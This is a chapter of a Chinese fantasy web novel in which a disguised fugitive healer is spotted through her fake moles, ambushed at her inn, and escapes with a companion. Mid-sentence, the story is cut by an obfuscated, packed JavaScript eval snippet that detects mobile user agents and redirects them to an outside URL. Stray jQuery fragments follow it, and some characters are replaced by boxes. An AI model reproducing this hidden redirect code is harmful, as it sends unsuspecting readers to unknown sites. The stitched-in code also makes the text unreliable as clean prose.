“全看你报多少课。若家境尚可,我荐你投在杏老师门下,十门课约莫一万金福珠,七日便能攒够资历。” “一万金福珠?七日!”木弈轩被这数目惊得怔住,随即恍然——这哪是传道授业?分明是贩卖文凭! “一千一门,修得愈多,成就愈快。姑娘自行斟酌。”他说罢竟径直拂袖而去,隔间外还传来他嘟囔“又看走了眼”的抱怨。 木弈轩闻言,头也不回地冲出破茧小楼,愤然离去。却说她那两颗假痣实在惹眼,纵使戴着兜帽也难以遮掩。一路上她始终在怄气,也没留意往来行人,径直回到了旅店。 且说数日前,八桥幕府宅邸暗室之中: “蛛王大人,这女娃不是在秦淮府见过?”蝎子将印有木弈轩肖像的通缉令递给蜘蛛。原来这通缉令虽是枫叶鹿颁布的,但清剿这些敌对分子的差事却不知怎的落到了五毒肩上。 蛛王阴狠一笑,他在这伙人手里吃了不少亏,如今在自己地盘上势要报复回来。正要下令全力捉拿,转念想到那只夜蝠实在棘手,便盯着通缉令出神。 蛇怪最会揣摩心意,提醒道:“蛛王大人何不把这烫手山芋丢给松间鹤?把利害关系说清楚,既省了麻烦,还能向他们示好。” 蛛王笑道:“还是你点子多。既然如此,你就代我去见鸟羽寿。” 松家得到消息后,推测木弈轩因行医惹了麻烦,很可能会设法考取执照以解困局,于是通知牡丹蝶要求各地分支机构加强留意,若发现可疑情况立即上报。却说木弈轩虽作了乔装,但那两颗假痣太过显眼,反而引起了有心人的注意。 一名探子趁她与机构□□交谈时,隔着玻璃窗仔细比对通缉令上的画像,确认十有八九就是目标。待木弈轩离开后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16572402|187047||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便悄悄尾随其后,找到了她的落脚处,暗中记下地址,回去禀报,准备安排人手设伏抓捕。 却说菊平回到德艺后,兴冲冲地将戏迷相约之事告知炎煜朱:“那位姑娘还是您的故国人,说会天天在会场等候呢!” 炎煜朱听说是个青龙国人,当即撑起身子急问:“她生得什么模样?可还有旁人同行?” 菊平回想道:“模样么……说来鼻翼与下巴处各有一颗大黑痣。” 炎煜朱思来想去,除了镇上卖布的苍三娘,再不识得脸上带痣的熟人,只当又是杜撰,又躺下蒙头盖被。 “小佛爷即便执意要与上面置气,也不该寒了支持您的戏迷的心啊!”菊平劝道,“我扯谎说您病了,她立即表示通晓医术要为您诊治。若您不去相见,岂不辜负人家一片真心?” 闻言炎煜朱又撑起身子:“你们还说些什么?” “哎,没说别的,就说谢谢她的好意,但东海要执鹿角医生证才可行医......” “明天我不去排练,但可以见一见这个戏迷。” 菊平以为炎煜朱终于松口,笑着应下去安排事宜,顺便将这好消息告知月前事。 却说木弈轩回到住所,待了半晌方才卸妆。正擦着脸,外头传来叩门声。她只当是斯堪曼回来了,急忙开门,没成想迎面竟是页目向。 “向哥!你总算来了!”木弈轩激动地抱住页目向,“曼哥说你在服劳役,让我在这儿等你,你这是重回自由身了?” 页目向白眼道:“他又这般胡说八道!他没与你说我在等爷爷消息?” 木弈轩忙请他进屋,笑道:“他说了,不过总带些艺术加工。” “他还没回?煜朱有消息了吗?” “哦!说起这个,向哥你看!”木弈轩将报纸递过去,“煜朱也在平京都!只是不知为何要去参加这个联会。我今天下午还去了他的戏迷见面会,可惜没见着人。” 页目向接过报纸,见插画人物确实与炎煜朱一般无二,但通篇尽是“佛朗明戈”、“艺人”等字眼,不由疑道:“这不会是碰巧相像罢?” “你看这画像,分明就是同一个人,世上哪有这般相像的?况且他也注明是青龙籍。” “你今天还出去了?怎么没见着人?” “现场管事推说他病了。我担心是上次飞舟事故留下的旧伤......” 页目向道:"说起伤病,你被通缉的缘由我还未细说——正是因那《鹿角令》!" “可是那条''非鹿角协会医生不得行医''的政令?” “你也知晓?”页目向颇感意外,“我问了季君,说你这种情况可以事后补票。不如早些考取鹿角医生执照?也免得终日提心吊胆。” 木弈轩愤然道:“我刚去问过!张口就要一万金福珠!” 页目向正要细问,木弈轩便将先前遭遇细细道来。 页目向越听越气,怒道:“好一□□商!真是处处不忘牟利,件件不离豪夺!” 木弈轩自认倒霉,摇头叹息:“我还是暂且避着风头罢。待你此间事了,我们便回舍源去。” “这话都岔到哪儿去了!煜朱他......”话音未落,又一阵敲门声响起。 木弈轩笑道:“这下总该是曼哥回来了。”说着便要起身开门。 页目向无意间瞥向窗外——此刻正是放工时分,此处又地处闹市,街上却不见行人,顿时升起一股异样感,忙叫唤道:“别开!有诈!” 木弈轩手已搭上门把,闻言回头张望。这并非什么高档旅店,狭窄的房间里除了床铺几乎无处下脚,一侧是窗,一侧是门,屋内的动静门外听得一清二楚。只听门外人抄起兵器哐当砸门,很快破开一道缺口。木弈轩急忙后退,却见窗外已有人跃上窗台正要闯入。页目向眼疾手快,连点两记光指,趁势用对方肉身堵住窗口。 “定是借着通缉令来勒索的!等他们破门进来,我用光指放倒,你用藤蔓缠住,我们趁机往街上冲!"正说着轰隆一声门板倒下,二人急忙施展光斩、召出藤蔓困住来袭者,随即纵身跳出房间。 酒店走廊里满是蓄势待发的黑袍人。页目向掌中凝聚光点尽数掷出,在人群中打开一条通路。二人逃至街口,只见四方路口皆有伏兵。页目向急道:“弈轩抓紧我!”木弈轩刚抓住他手臂,页目向便施展白驹。跃入半空,如流星点地,不见踪影。 奉命来抓人的是松间鹤的幕僚九条政宗,他是个有经验的老捕头,依照蛇怪先前传达的消息做足了准备才来抓人,为应对传说的夜蝠形散还带来一件专门的法宝,不曾想还有漏提的招式。他眉头紧簇,命令道:“追!” 页目向带着木弈轩一路逃到梧桐家的员工宿舍,方敢停步休息。 “据我了解,他们不敢追到这里。” 木弈轩仍不放心:“这是为何?” “五光势大,王不见王。”页目向取来茶具为二人各斟了一杯水,“与我同住的季君今早接到急令回梧桐本家了,他的床空着,你要不嫌弃就住下?或者我睡他的铺,你睡我的上铺?” 木弈轩环顾室内:“我睡上铺吧。这里环境倒是比我那儿好得多。” “你不说我都没注意。我在这儿住惯了,去你那儿时也没觉得不妥。现在看来,许二叔的定价还挺公道。”说罢,二人相视大笑。